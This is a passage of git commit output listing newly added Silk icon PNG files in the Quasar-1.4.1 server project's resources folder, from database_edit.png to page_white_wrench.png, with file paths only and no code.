Quasar-1.4.1/Quasar.Server/Resources/Silk/database_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_refresh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/database_table.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_next.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/date_previous.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/disconnect.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/disk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/disk_multiple.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/door.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/door_in.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/door_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/door_out.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drink.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drink_empty.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_burn.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_cd_empty.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_disk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_network.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_rename.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_user.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/drive_web.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/dvd_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_attach.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/email_open_image.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_evilgrin.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_grin.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_happy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_smile.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_surprised.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_tongue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_unhappy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_waii.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/emoticon_wink.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/error_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/error_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/error_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/exclamation.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/eye.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_disk.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/feed_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/female.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/film_save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/find.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_blue.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_orange.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_pink.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_purple.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/flag_yellow.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bell.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_brick.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_bug.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_camera.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_database.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_explore.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_feed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_find.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_heart.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_image.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_lightbulb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_page_white.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_palette.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_picture.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_star.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_table.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_user.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/folder_wrench.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/font.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/font_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/font_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/font_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/group_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/heart.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/heart_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/help.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/hourglass_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/house.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/house_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/house_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/html.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/html_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/html_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/html_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/html_valid.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/image.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/image_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/image_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/image_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/image_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/images.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/information.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_cast_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/ipod_sound.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/joystick_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/key_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/key_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/key_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/keyboard_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layers.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_content.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_header.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/layout_sidebar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightbulb_off.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lightning_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link_break.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/link_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_break.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lock_open.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_flatbed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/lorry_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/magifier_zoom_out.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/magnifier_zoom_in.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/male.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/map.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/map_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/map_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/map_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/map_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/map_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_bronze_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_gold_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_1.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_2.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_3.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money_dollar.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money_euro.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money_pound.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/money_yen.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/music.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/new.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/note.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/note_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/note_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/note_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/note_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/note_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/overlays.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/package.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/package_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/package_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/package_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/package_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/package_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_attach.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_code.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_copy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_excel.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_find.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_green.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paintbrush.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_paste.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_refresh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_save.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_acrobat.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_actionscript.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_add.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_c.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_camera.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_code_red.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_coldfusion.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_compressed.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_copy.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cplusplus.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_csharp.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_cup.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_database.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_delete.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_dvd.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_edit.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_error.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_excel.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_find.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_flash.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_freehand.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_gear.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_get.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_go.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_h.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_horizontal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_key.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_lightning.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_link.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_magnify.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_medal.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_office.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paint.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paintbrush.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_paste.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_php.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_picture.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_powerpoint.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_put.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_ruby.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_stack.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_star.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_swoosh.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_text_width.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_tux.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_vector.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_visualstudio.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_width.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_word.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_world.png create mode 100755 Quasar-1.4.1/Quasar.Server/Resources/Silk/page_white_wrench.png create mode 100755 